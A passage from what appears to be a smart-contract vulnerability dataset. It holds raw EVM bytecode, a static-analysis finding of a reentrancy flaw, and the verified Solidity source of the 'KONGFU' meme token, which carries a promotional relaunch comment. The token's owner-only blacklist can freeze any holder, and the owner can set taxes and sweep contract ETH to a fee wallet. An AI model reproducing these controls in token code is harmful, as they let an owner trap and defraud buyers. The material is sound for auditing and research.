ffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156113f257600080fd5b505afa158015611406573d6000803e3d6000fd5b505050506040513d602081101561141c57600080fd5b81019080805190602001909291905050509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156114d857600080fd5b505af11580156114ec573d6000803e3d6000fd5b505050506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561159157600080fd5b505afa1580156115a5573d6000803e3d6000fd5b505050506040513d60208110156115bb57600080fd5b810190808051906020019092919050505090503373ffffffffffffffffffffffffffffffffffffffff167fa4b7979b77c5bef65740b7e1d7a09534eadc2803d5c1cfdae60fa28226be6da284848460405180848152602001838152602001828152602001935050505060405180910390a250505b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60096020528060005260406000206000915090505481565b60045481565b60076020528060005260406000206000915090505481565b3361169d611d39565b6006819055506116ab61207c565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611778576116ee81610596565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600160149054906101000a900460ff166117fa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f74207374617274207965740000000000000000000000000000000000000081525060200191505060405180910390fd5b60008211611870576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b816000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561190f57600080fd5b505afa158015611923573d6000803e3d6000fd5b505050506040513d602081101561193957600080fd5b810190808051906020019092919050505010156119be576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f696e73756666696369656e742062616c616e636520746f207374616b6500000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611a5e57600080fd5b505afa158015611a72573d6000803e3d6000fd5b505050506040513d6020811015611a8857600080fd5b81019080805190602001909291905050509050611ae93330856000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612167909392919063ffffffff16565b611afe83600254611fe190919063ffffffff16565b600281905550611b5683600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fe190919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611c3957600080fd5b505afa158015611c4d573d6000803e3d6000fd5b505050506040513d6020811015611c6357600080fd5b81019080805190602001909291905050509050611c8c6212750042611fe190919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167fb4caaf29adda3eefee3ad552a8e85058589bf834c7466cae4ee58787f70589ed85848460405180848152602001838152602001828152602001935050505060405180910390a250505050565b60055481565b6000806002541415611d4f576006549050611dc4565b611dc1611db0600254611da2670de0b6b3a7640000611d94600454611d86600554611d7861207c565b611ec790919063ffffffff16565b611f1190919063ffffffff16565b611f1190919063ffffffff16565b611f9790919063ffffffff16565b600654611fe190919063ffffffff16565b90505b90565b60065481565b600160149054906101000a900460ff16611e4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f74207374617274207965740000000000000000000000000000000000000081525060200191505060405180910390fd5b611e97600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b87565b611e9f611190565b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611f0983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061226d565b905092915050565b600080831415611f245760009050611f91565b6000828402905082848281611f3557fe5b0414611f8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806126696021913960400191505060405180910390fd5b809150505b92915050565b6000611fd983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061232d565b905092915050565b60008082840190508381101561205f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080823b905060008111915050919050565b6000600354421061208f57600354612091565b425b905090565b612162838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506123f3565b505050565b612267848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506123f3565b50505050565b600083831115829061231a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122df5780820151818401526020810190506122c4565b50505050905090810190601f16801561230c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080831182906123d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561239e578082015181840152602081019050612383565b50505050905090810190601f1680156123cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816123e557fe5b049050809150509392505050565b6124128273ffffffffffffffffffffffffffffffffffffffff16612069565b612484576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b602083106124d357805182526020820191506020810190506020830392506124b0565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612535576040519150601f19603f3d011682016040523d82523d6000602084013e61253a565b606091505b5091509150816125b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115612638578080602001905160208110156125d157600080fd5b8101908080519060200190929190505050612637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061268a602a913960400191505060405180910390fd5b5b5050505056fe4d757374206265206c6f636b656420666f722031342064617973206f72204d696e696e6720656e646564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a165627a7a723058201173d3cf04e5afd230e8beeb17716778c3d72721fd0fd5e161c6c5a04167a6fe0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,398 |
0x5bb052db988a0dc33143918aeb9bd71299af8216
|
/**
*Submitted for verification at Etherscan.io on 2022-03-11
*/
/*
The prvious Contract of $KONGFU has issues, The new contract fixes it
Previous Holders will be airdropped 100% Tokens
This is the new Official Contract
Join group to know More
$KONGFU
https://t.me/kongfuentry
When a powerful ape named $KONG is forbid to escape from prison, Kong is unwittingly
named the "Kong Warrior" - a kong-fu legend that allows him to defeat everyone out there,
giving Birth to the Kong fu Saga
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract kongfuport is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "KONGFU";
string private constant _symbol = "KONGFU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x62c190fa1fF9CCF7e2187Ed1243C25068172e83E);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 50_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 50_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610312578063c3c8cd8014610332578063c9567bf914610347578063dbe8272c1461035c578063dc1052e21461037c578063dd62ed3e1461039c57600080fd5b8063715018a6146102a05780638da5cb5b146102b557806395d89b411461015c5780639e78fb4f146102dd578063a9059cbb146102f257600080fd5b806323b872dd116100f257806323b872dd1461020f578063273123b71461022f578063313ce5671461024f5780636fc3eaec1461026b57806370a082311461028057600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019a57806318160ddd146101ca5780631bbae6e0146101ef57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a61015536600461183f565b6103e2565b005b34801561016857600080fd5b5060408051808201825260068152654b4f4e47465560d01b6020820152905161019191906118bc565b60405180910390f35b3480156101a657600080fd5b506101ba6101b536600461174d565b610433565b6040519015158152602001610191565b3480156101d657600080fd5b50670de0b6b3a76400005b604051908152602001610191565b3480156101fb57600080fd5b5061015a61020a366004611877565b61044a565b34801561021b57600080fd5b506101ba61022a36600461170d565b61048c565b34801561023b57600080fd5b5061015a61024a36600461169d565b6104f5565b34801561025b57600080fd5b5060405160098152602001610191565b34801561027757600080fd5b5061015a610540565b34801561028c57600080fd5b506101e161029b36600461169d565b610574565b3480156102ac57600080fd5b5061015a610596565b3480156102c157600080fd5b506000546040516001600160a01b039091168152602001610191565b3480156102e957600080fd5b5061015a61060a565b3480156102fe57600080fd5b506101ba61030d36600461174d565b610849565b34801561031e57600080fd5b5061015a61032d366004611778565b610856565b34801561033e57600080fd5b5061015a6108fa565b34801561035357600080fd5b5061015a61093a565b34801561036857600080fd5b5061015a610377366004611877565b610b00565b34801561038857600080fd5b5061015a610397366004611877565b610b38565b3480156103a857600080fd5b506101e16103b73660046116d5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104155760405162461bcd60e51b815260040161040c9061190f565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610440338484610b70565b5060015b92915050565b6000546001600160a01b031633146104745760405162461bcd60e51b815260040161040c9061190f565b66b1a2bc2ec500008111156104895760108190555b50565b6000610499848484610c94565b6104eb84336104e685604051806060016040528060288152602001611a8d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f8b565b610b70565b5060019392505050565b6000546001600160a01b0316331461051f5760405162461bcd60e51b815260040161040c9061190f565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056a5760405162461bcd60e51b815260040161040c9061190f565b4761048981610fc5565b6001600160a01b03811660009081526002602052604081205461044490610fff565b6000546001600160a01b031633146105c05760405162461bcd60e51b815260040161040c9061190f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161040c9061190f565b600f54600160a01b900460ff161561068e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040c565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106ee57600080fd5b505afa158015610702573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072691906116b9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561076e57600080fd5b505afa158015610782573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a691906116b9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107ee57600080fd5b505af1158015610802573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082691906116b9565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610440338484610c94565b6000546001600160a01b031633146108805760405162461bcd60e51b815260040161040c9061190f565b60005b81518110156108f6576001600660008484815181106108b257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ee81611a22565b915050610883565b5050565b6000546001600160a01b031633146109245760405162461bcd60e51b815260040161040c9061190f565b600061092f30610574565b905061048981611083565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161040c9061190f565b600e546109849030906001600160a01b0316670de0b6b3a7640000610b70565b600e546001600160a01b031663f305d71947306109a081610574565b6000806109b56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1857600080fd5b505af1158015610a2c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a51919061188f565b5050600f805466b1a2bc2ec5000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ac857600080fd5b505af1158015610adc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610489919061185b565b6000546001600160a01b03163314610b2a5760405162461bcd60e51b815260040161040c9061190f565b600f81101561048957600b55565b6000546001600160a01b03163314610b625760405162461bcd60e51b815260040161040c9061190f565b600f81101561048957600c55565b6001600160a01b038316610bd25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040c565b6001600160a01b038216610c335760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040c565b6001600160a01b038216610d5a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040c565b60008111610dbc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040c565b6001600160a01b03831660009081526006602052604090205460ff1615610de257600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2457506001600160a01b03821660009081526005602052604090205460ff16155b15610f7b576000600955600c54600a55600f546001600160a01b038481169116148015610e5f5750600e546001600160a01b03838116911614155b8015610e8457506001600160a01b03821660009081526005602052604090205460ff16155b8015610e995750600f54600160b81b900460ff165b15610ead57601054811115610ead57600080fd5b600f546001600160a01b038381169116148015610ed85750600e546001600160a01b03848116911614155b8015610efd57506001600160a01b03831660009081526005602052604090205460ff16155b15610f0e576000600955600b54600a555b6000610f1930610574565b600f54909150600160a81b900460ff16158015610f445750600f546001600160a01b03858116911614155b8015610f595750600f54600160b01b900460ff165b15610f7957610f6781611083565b478015610f7757610f7747610fc5565b505b505b610f86838383611228565b505050565b60008184841115610faf5760405162461bcd60e51b815260040161040c91906118bc565b506000610fbc8486611a0b565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f6573d6000803e3d6000fd5b60006007548211156110665760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161040c565b6000611070611233565b905061107c8382611256565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110d957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561112d57600080fd5b505afa158015611141573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116591906116b9565b8160018151811061118657634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111ac9130911684610b70565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111e5908590600090869030904290600401611944565b600060405180830381600087803b1580156111ff57600080fd5b505af1158015611213573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f86838383611298565b600080600061124061138f565b909250905061124f8282611256565b9250505090565b600061107c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113cf565b6000806000806000806112aa876113fd565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112dc908761145a565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461130b908661149c565b6001600160a01b03891660009081526002602052604090205561132d816114fb565b6113378483611545565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161137c91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113aa8282611256565b8210156113c657505060075492670de0b6b3a764000092509050565b90939092509050565b600081836113f05760405162461bcd60e51b815260040161040c91906118bc565b506000610fbc84866119cc565b600080600080600080600080600061141a8a600954600a54611569565b925092509250600061142a611233565b9050600080600061143d8e8787876115be565b919e509c509a509598509396509194505050505091939550919395565b600061107c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f8b565b6000806114a983856119b4565b90508381101561107c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040c565b6000611505611233565b90506000611513838361160e565b30600090815260026020526040902054909150611530908261149c565b30600090815260026020526040902055505050565b600754611552908361145a565b600755600854611562908261149c565b6008555050565b6000808080611583606461157d898961160e565b90611256565b90506000611596606461157d8a8961160e565b905060006115ae826115a88b8661145a565b9061145a565b9992985090965090945050505050565b60008080806115cd888661160e565b905060006115db888761160e565b905060006115e9888861160e565b905060006115fb826115a8868661145a565b939b939a50919850919650505050505050565b60008261161d57506000610444565b600061162983856119ec565b90508261163685836119cc565b1461107c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040c565b803561169881611a69565b919050565b6000602082840312156116ae578081fd5b813561107c81611a69565b6000602082840312156116ca578081fd5b815161107c81611a69565b600080604083850312156116e7578081fd5b82356116f281611a69565b9150602083013561170281611a69565b809150509250929050565b600080600060608486031215611721578081fd5b833561172c81611a69565b9250602084013561173c81611a69565b929592945050506040919091013590565b6000806040838503121561175f578182fd5b823561176a81611a69565b946020939093013593505050565